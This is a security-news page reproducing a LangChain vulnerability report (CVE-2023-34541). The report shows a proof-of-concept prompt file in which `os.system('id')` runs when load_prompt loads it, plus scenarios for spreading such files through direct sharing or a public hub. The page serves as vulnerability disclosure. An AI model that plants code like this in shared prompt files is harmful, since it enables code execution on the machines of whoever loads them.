Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-34541: Arbitrary code execution in load_prompt · Issue #4849 · hwchase17/langchain

Langchain 0.0.171 is vulnerable to Arbitrary code execution in load_prompt.

CVE
from langchain.output_parsers.list import CommaSeparatedListOutputParser
from langchain.prompts.prompt import PromptTemplate
_DECIDER_TEMPLATE = """Given the below input question and list of potential tables, output a comma separated list of the table names that may be neccessary to answer this question.

Question: {query}

Table Names: {table_names}

Relevant Table Names:"""

import os
os.system('id')
PROMPT = PromptTemplate(
    input_variables=["query", "table_names"],
    template=_DECIDER_TEMPLATE,
    output_parser=CommaSeparatedListOutputParser(),
)


from langchain.prompts import load_prompt
load_prompt('prompt.py')

Attack scene1: Alice can send prompt file to Bob and let Bob to load it.
Attack scene2: Alice upload the prompt file to a public hub such as 'langchain-hub’. Bob load the prompt from an url.

The code cannot be executed without any check.

Related news

GHSA-6643-h7h5-x9wh: Langchain vulnerable to arbitrary code execution

Langchain 0.0.171 is vulnerable to Arbitrary code execution in `load_prompt`.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda